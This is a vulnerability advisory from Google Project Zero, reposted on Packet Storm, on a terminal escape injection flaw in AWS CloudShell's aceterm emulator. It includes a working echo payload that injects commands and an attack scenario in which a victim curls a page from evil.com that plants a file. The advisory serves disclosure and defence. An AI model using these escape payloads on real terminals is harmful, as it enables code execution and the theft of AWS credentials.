what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

AWS CloudShell Terminal Escape Injection / Remote Code Execution

AWS CloudShell Terminal Escape Injection / Remote Code Execution
Posted May 10, 2021
Authored by Google Security Research, Felix Wilhelm

The javascript terminal emulator used by AWS CloudShell handles certain terminal escape codes incorrectly. This can lead to remote code execution if attacker controlled data is displayed in a CloudShell instance.

tags | exploit, remote, javascript, code execution
SHA-256 | f02320214893002ab2b97694c08e9e2330bbb20f2f2bada5f83933c577f951ef

AWS CloudShell Terminal Escape Injection / Remote Code Execution

Change Mirror Download
Terminal escape injection in AWS CloudShell

The javascript terminal emulator used by AWS CloudShell handles certain terminal escape
codes incorrectly. This can lead to remote code execution if attacker controlled data is
displayed in a CloudShell instance.

The bug is in the handling of DCS escape codes by the aceterm library:
//https://github.com/c9/core/blob/master/plugins/c9.ide.terminal/aceterm/libterm.js#L1276
// Request Termcap/Terminfo String (xterm, experimental)
// Regular xterm does not even respond to this sequence.
// This can cause a small glitch in vim.
// test: echo -ne '\\eP+q6b64\\e\\\\'
case '+q':
var pt = this.currentParam
, valid = false;

this.send('\\x1bP' + +valid + '+r' + pt + '\\x1b\\\\');
break;


this.currentParam contains the arbitrary substring that follows the \"\\eP+q\" escape code.
this.send() passes its argument to the terminal input handler. This can be used to
execute arbitrary commands by putting a multiline string into this.currentParam.

It's trivial to trigger the bug using echo, printing the string '\\eP+q\
whoami\
\\e\\\\',
will trigger execution of the whoami command:

[cloudshell-user@ip-10-0-163-85 ~]$ echo -ne '\\eP+q\
whoami\
\\e\\\\'
[cloudshell-user@ip-10-0-163-85 ~]$
[cloudshell-user@ip-10-0-163-85 ~]$ whoami
cloudshell-user
[cloudshell-user@ip-10-0-163-85 ~]$


A potential attack scenario would be to trick someone into accessing a malicious web
service using a tool like curl:

attacker:
- echo -e \"echo -ne \"abcdef\\x1bP+q\
touch /tmp/foo\
\\x1b\
\"\" > index.html

victim: (using AWS CloudShell)
- curl http://evil.com/index.html

This will create the file /tmp/foo on the victim machine.

If AWS CloudShell is used to ssh into (potentially compromised) EC2 VMs or to view log
files that contain attacker controlled payloads, similar attacks are possible.

As CloudShell has full access to the credentials used for the management console login,
exploiting this vulnerability can give an attacker a very powerful entry point to an AWS
environment.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse, the bug report
will become visible to the public. The scheduled disclosure date is 2021-05-09.
Disclosure at an earlier date is also possible if agreed upon by all parties.

Please credit Felix Wilhelm of Google Project Zero in all releases, patches and
advisories related to this issue.




Found by: fwilhelm@google.com

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close